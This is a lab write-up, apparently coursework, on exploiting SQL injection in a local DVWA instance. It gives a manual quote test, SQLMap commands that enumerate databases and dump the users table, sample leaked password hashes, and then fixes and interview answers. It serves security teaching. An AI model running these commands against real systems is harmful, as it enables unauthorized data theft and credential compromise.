Task 8: SQL Injection Practical Exploitation — SOLVED

Lab context assumed: DVWA / OWASP Juice Shop running locally
Tool: SQLMap
Goal: Understand exploitation flow, impact, and fixes (not just run commands blindly)

🔍 Step 1: Identify Injectable Parameters

Example vulnerable URL (DVWA)

http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

Manual test (basic check)

Replace id=1 with:

id=1'

✅ Signs of SQL Injection

- SQL error message
- Page behaves differently
- Unexpected data returned

📌 Conclusion:

Parameter id is injectable.

🤖 Step 2: Run SQLMap (Detection Phase)

Basic SQLMap command

```
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=xyz" --batch
```

What SQLMap does here:

- Tests parameter id
- Identifies database type
- Detects injection technique

✅ Result

- SQL Injection found
- Database identified (e.g., MySQL)

🗄 Step 3: Extract Database Names

sqlmap -u "TARGET_URL" --dbs --batch

Example Output

[*] dvwa

[*] information_schema

📌 **Meaning:**
Attacker can enumerate all databases on the server.

📦 Step 4: Extract Tables

sqlmap -u "TARGET_URL" -D dvwa --tables --batch

Example Output

users

guestbook

📌 **Meaning:**
Attacker now understands database structure.

📊 Step 5: Extract User Data

sqlmap -u "TARGET_URL" -D dvwa -T users --dump --batch

Example Extracted Data

user	password
admin	5f4dcc3b5aa765d61d8327deb882cf99
user	e99a18c428cb38d5f260853678922e03

📌 **Impact**

- Password hashes leaked
- Can be cracked offline
- Complete authentication compromise

💥 Step 6: Analyze Impact

Business & Technical Impact

- Sensitive data exposure
- Authentication bypass
- Full database compromise
- Possible system takeover
- Legal & compliance violations

📌 **Severity: 🔴 High / Critical**

📜 Step 7: Document Attack Flow (Simple)

1. Identified injectable parameter (id)
2. Confirmed SQL Injection manually
3. Used SQLMap to automate exploitation
4. Enumerated databases
5. Extracted tables and user data
6. Analyzed impact and risks

🛡 Step 8: Suggest Fixes (Very Important)

✅ **Secure Coding Fixes**

- Use **prepared statements**
- Parameterized queries
- Avoid dynamic SQL queries

- Input validation (server-side)

✅ **Defense in Depth**

- Least privilege DB accounts
- Web Application Firewall (WAF)
- Disable verbose SQL errors
- Regular security testing

🎤 **Interview Questions — SOLVED ANSWERS**

1️⃣ **What is SQL Injection?**

SQL Injection is a web vulnerability where an attacker injects malicious SQL queries through user input to manipulate the backend database.

2️⃣ **How does SQLMap work?**

SQLMap automatically detects SQL Injection vulnerabilities by sending crafted payloads, identifying database types, and exploiting them to enumerate and extract database data.

3️⃣ **Types of SQL Injection**

- Union-Based
- Error-Based
- Boolean-Based Blind
- Time-Based Blind
- Out-of-Band SQL Injection

4️⃣ **Impact of SQL Injection**

- Data leakage
- Authentication bypass

- Data manipulation/deletion
- Full database compromise
- Financial and reputational damage

5️⃣ Prevention Methods

- Prepared statements
- Input validation
- ORM frameworks
- Least privilege access
- Security testing & monitoring

🎯 Final Outcome (Task Requirement Met)

✓ Strong database security understanding
✓ Hands-on SQLMap exploitation
✓ Clear understanding of attacker mindset
✓ Interview-ready SQL Injection knowledge
✓ Real web application security skills